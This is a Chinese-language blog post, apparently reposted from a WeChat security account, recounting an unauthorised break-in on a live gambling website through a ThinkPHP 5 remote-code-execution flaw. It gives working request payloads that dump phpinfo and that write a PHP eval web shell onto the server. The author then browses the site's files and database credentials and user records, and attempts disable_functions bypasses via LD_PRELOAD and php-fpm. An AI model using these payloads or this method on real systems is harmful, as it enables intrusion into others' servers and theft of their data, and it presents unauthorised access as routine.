某BC站点getshell实录

admin 2022年5月28日22:57:29评论48 views字数 1338阅读4分27秒阅读模式

前提摘要:
通过批量的爬取和扫描,寻找到了个目标站点,是个关于bc的站点。兄弟们冲了他!
某BC站点getshell实录

渗透过程
首先肯定先搞一波基础的信息收集,跑一跑目录,端口号等等。
通过目录的扫描一下发现了个惊喜,thinkphp的版本直接就出来了,没想到呀
某BC站点getshell实录
话不多说直接开干,添加进入goby简单验证下存不存在洞洞
某BC站点getshell实录
没想到我运气经如此的好
某BC站点getshell实录
直接替换成系统命令函数,我倒,竟然不行,那就只能换个函数试试,经过测试发现什么eval,system呀什么都不行,哎果然bc站点不是这么容易的,哭哭。
某BC站点getshell实录
想着既然goby的poc验证失败了,尝试下手工输入poc了,这里感谢下这位大佬的文章,令我受益匪浅
文章:https://y4er.com/post/thinkphp5-rce/
在经过一顿输入poc验证后发现,所有的执行命令的poc都不行,都会提示系统错误
某BC站点getshell实录
某BC站点getshell实录

感觉是disable_functions禁用了函数,想着看看能不能看到phpinfo信息。
Payload :
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
某BC站点getshell实录

惊喜出现,直接搜索下disable_functions看看到底禁用了多少
某BC站点getshell实录

我倒,禁用的还真不少,能用的代码执行函数全给禁了,在我一筹莫展之际经过大佬们的指点后,可以试试写入shell文件试试
Payload
POST:
s=file_put_contents('test.php','<eval($_POST);')&_method=__construct&method=POST&filter[]=assert

某BC站点getshell实录
直接拿下,测试除了不能执行命令外,网站文件都可以看,还翻到了数据库的密码,可惜不是root的,看着目录结构像是某塔的。
连上数据库看看,好家伙还不少人呀。
某BC站点getshell实录

既然拿下shell了,就想着bypass下disable_functions吧。
经过信息整理:环境为nginx、php5.6、linux、某塔搭建的
先来尝试下蚁剑过disable_functions插件,果然经过测试都失败了
某BC站点getshell实录
难受住了,姜,只能网上找找文章看看原理了,看看为什么不行
首先看看蚁剑上面的第一个绕过方法:LD_PRELOAD方法
具体的可以看看这篇文章,只能说大佬牛皮!
https://www.freebuf.com/articles/web/192052.html
我也下了个github的项目过LD_PRELOAD的
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
某BC站点getshell实录
某BC站点getshell实录

一看到函数我感觉可能问题就出在这个,接着一查果然disable_functions禁用了这个函数,姜放弃下一个
某BC站点getshell实录

第二个是php-fpm的绕过
具体的可以看下这个文章
https://www.freebuf.com/articles/network/263540.html

经过测试还是没有成功,剩下的几个方法我就不一一说了,有些是环境不支持,有些是函数被禁用了,不过总体来讲还可以,毕竟某塔还是强,如果各位师傅们有更好的思路,能执行命令的话,请多带带弟弟


原文始发于微信公众号(白帽兔):某BC站点getshell实录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月28日22:57:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某BC站点getshell实录https://cn-sec.com/archives/1060681.html

发表评论

匿名网友 填写信息